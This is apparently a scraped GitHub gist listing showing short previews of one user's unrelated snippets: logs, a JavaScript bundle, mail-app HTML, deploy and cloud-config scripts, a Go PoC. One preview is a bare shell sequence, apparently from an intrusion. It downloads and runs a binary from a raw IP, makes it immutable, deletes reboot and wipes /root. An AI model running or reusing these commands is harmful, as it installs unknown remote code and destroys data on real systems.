Skip to content

Instantly share code, notes, and snippets.

--------- beginning of /dev/log/system
I/Vold ( 157): Vold 2.1 (the revenge) firing up
I/Vold ( 157): Set handling read only 0
D/Vold ( 157): Storage structure is 0
E/Vold ( 157): Failed to set storage strcture
--------- beginning of /dev/log/main
I/DEBUG ( 169): debuggerd: Oct 18 2013 21:45:36
I/SurfaceFlinger( 159): SurfaceFlinger is starting
I/SurfaceFlinger( 159): use dithering
I/SurfaceFlinger( 159): SurfaceFlinger's main thread ready to run. Initializing graphics H/W...
!function(e){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=e();else if("function"==typeof define&&define.amd)define([],e);else{var f;"undefined"!=typeof window?f=window:"undefined"!=typeof global?f=global:"undefined"!=typeof self&&(f=self),f.AV=e()}}(function(){var define,module,exports;return (function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);throw new Error("Cannot find module '"+o+"'")}var f=n[o]={exports:{}};t[o][0].call(f.exports,function(e){var n=t[o][1][e];return s(n?n:e)},f,f.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(_dereq_,module,exports){
var key, val, _ref;
_ref = _dereq_('./src/aurora');
for (key in _ref) {
val = _ref[key];
exports[key] = val;
}
_dereq_('./src/devices/webaudio');
(function e(t, n, r) {
function s(o, u) {
if (!n[o]) {
if (!t[o]) {
var a = typeof require == "function" && require;
if (!u && a) return a(o, !0);
if (i) return i(o, !0);
throw new Error("Cannot find module '" + o + "'")
}
var f = n[o] = {
<html ng-app="mail" ng-csp="" manifest="appcache.manifest"><head>
<meta charset="utf-8">
<title>Whiteout Mail</title>
<!-- Theses CSP rules are used as a fallback in runtimes such as Cordova -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self' chrome-extension: file: gap:; object-src 'none'; script-src 'self' 'unsafe-eval' chrome-extension: file: gap:; connect-src *; style-src 'self' 'unsafe-inline' chrome-extension: file: gap:; img-src 'self' chrome-extension: file: gap: data:">
<!-- iOS homescreen link -->
<meta name="apple-mobile-web-app-capable" content="yes">
<!-- iOS iPad icon (retina) -->
@pellaeon
pellaeon / post-receive
Created February 20, 2015 06:00
Django uwsgi post-receive git deploy hook (FreeBSD)
#!/bin/bash
export GIT_WORK_TREE=/srv/xxxx.tw
git checkout -f master
cd $GIT_WORK_TREE
cp /repos/settings.json ${GIT_WORK_TREE}/luroufan/settings/
if [ ! -d ${GIT_WORK_TREE}/venv ]; then
virtualenv venv
fi
. venv/bin/activate
### Keybase proof
I hereby claim:
* I am pellaeon on github.
* I am pellaeon (https://keybase.io/pellaeon) on keybase.
* I have a public key whose fingerprint is 95DC BD22 16E9 57FC 5779 AC15 8713 357D 42E7 1100
To claim this, I am signing this object:
cd /sbin
wget 23.234.15.11/sysconfig
chmod u+x sysconfig
/sbin/sysconfig
ss
chattr +i sysconfig
ss
rm -rf reboot
cd /root
rm -rf *
from math import *
from decimal import *
S=20
lo=Decimal(5)
lh=Decimal(2)
u=Decimal(1)
def p0(y):
sum1=Decimal(0)
for i in range(0,y):
@pellaeon
pellaeon / exp1.go
Created July 29, 2015 09:58
Simultaenous Reader reading and read from slice PoC
package main
import (
"fmt"
"io"
"net/http"
"sync/atomic"
"time"
)
@pellaeon
pellaeon / docker.cloudconfig
Last active August 29, 2015 14:26
Docker cloudconfig
#cloud-config
apt_mirror: http://ubuntu.cs.nctu.edu.tw/ubuntu/
timezone: Asia/Taipei
package_upgrade: true
packages:
- git
- screen
runcmd:
- wget -qO- https://get.docker.com/ | sh